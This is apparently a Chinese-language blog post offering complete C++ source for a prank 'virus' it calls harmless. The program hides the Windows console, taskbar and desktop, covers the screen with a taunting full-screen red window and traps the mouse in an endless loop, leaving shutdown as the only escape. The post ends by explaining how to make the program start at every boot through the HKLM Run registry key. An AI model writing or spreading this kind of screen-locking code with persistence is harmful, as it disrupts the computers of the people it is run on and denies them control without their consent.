C++: cout<<"嗨,我又双叒叕来了,花了一些时间,做一个BD,无危害"<<endl;
不多说,先放解药:
ctrl+alt+delete呼出任务管理器:no,无效,可能呼出,但会被覆盖,即使呼出,也无法摆脱鼠标锁定alt+F4:no,无效
F11:no,无效
……
关机最有效
开始之前,我还是要提醒一下我用的环境:惠普,Win10,VS,C++,EasyX(太好用了,不要怪我,WINAPI太难,不怎么会)
代码:
#include <iostream>
#include <graphics.h>
#include <Windows.h>
#include <cstdlib>
using namespace std;
int PosX, PosY;
获取电脑屏幕的长宽,使用double更精确
double WIDTH = GetSystemMetrics(SM_CXSCREEN);
double HEIGHT = GetSystemMetrics(SM_CYSCREEN);
void HindWnd(); //隐藏控制台
void LockCur(); //锁定鼠标
void HindTask();//隐藏任务栏
void HindDes(); //隐藏桌面
int main() {
HindWnd();
HindTask();
HindDes();
Sleep(500);
initgraph(WIDTH, HEIGHT);
HWND hWnd = GetHWnd();//获取当前应用程序的句柄
SetWindowLong(hWnd, GWL_STYLE, GetWindowLong(hWnd, GWL_STYLE) & ~WS_CAPTION);//去除窗口上方的“白条”(我也不知道叫啥)
MoveWindow(hWnd, 0, 0, WIDTH, HEIGHT, TRUE);//将窗口移动至屏幕(0,0)位置
///以下为EasyX部分,不多说///
setbkcolor(RED);
cleardevice();
settextstyle(0, 0, L"Segoe Script");
outtextxy(WIDTH / 2 - 100, HEIGHT / 2-20, L"Today is Sunday, your computer doesn't work! Are you OK?");
outtextxy(WIDTH / 2 - 300, HEIGHT / 2+40, L"Let me guess, you must be happy right now! Because your computer can rest!");
settextstyle(30, 0, L"Segoe Script");
outtextxy(0, 0, L"SUNDAY PLANS (S-P)");
//循环,锁定鼠标//
while (true)
{
LockCur();
}
return 0;
}
void HindWnd()
{
HWND hwnd;
hwnd = FindWindow(L"ConsoleWindowClass", NULL);
if (hwnd)
{
ShowWindow(hwnd, SW_HIDE);
}
}
void LockCur()
{
PosX = 3000;
PosY = 3000;
SetCursorPos(PosX, PosY);
}
void HindTask()
{
HWND task;
task = ::FindWindow(L"Shell_TrayWnd", NULL);
ShowWindow(task, SW_HIDE);
}
void HindDes()
{
HWND des;
des=FindWindow(L"ProgMan",NULL);
ShowWindow(des, SW_HIDE);
}
慎用,有能力的可以加一个开机自启动,我弄了好久,不行
这里不放代码了,说以下自启动原理:
注册表定位到这里:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
看英文名,是不是很眼熟,没错(Run),只要在这里添加程序的全路径(C:\Users\ ........)
然后就能自启动
剩下的就是代码了,WINAPI 操作注册表的函数:
RegCloseKey RegConnectRegistry RegCreateKey RegCreateKeyEx RegDeleteKey RegDeleteVale RegEnumKey RegFlushKey RegGetKeySecurity(此函数,98不适用) RegLoadKey RegNotifyChangeKeyValue(98不适用) RegOpenKey RegOpenKeyEx RegQueryInfoKey RegQueryValue RegQueryValueEx RegReplaceKey RegRestoreKey(98不适用) RegSaveKey RegSetKeySecurity(98不适用) RegSetValue RegSetValueEx RegUnLoadKey
RegGetValue(这个函数很多人都会用,但我试了一下,不行,这里放着,你们试试)...
RETURN 0;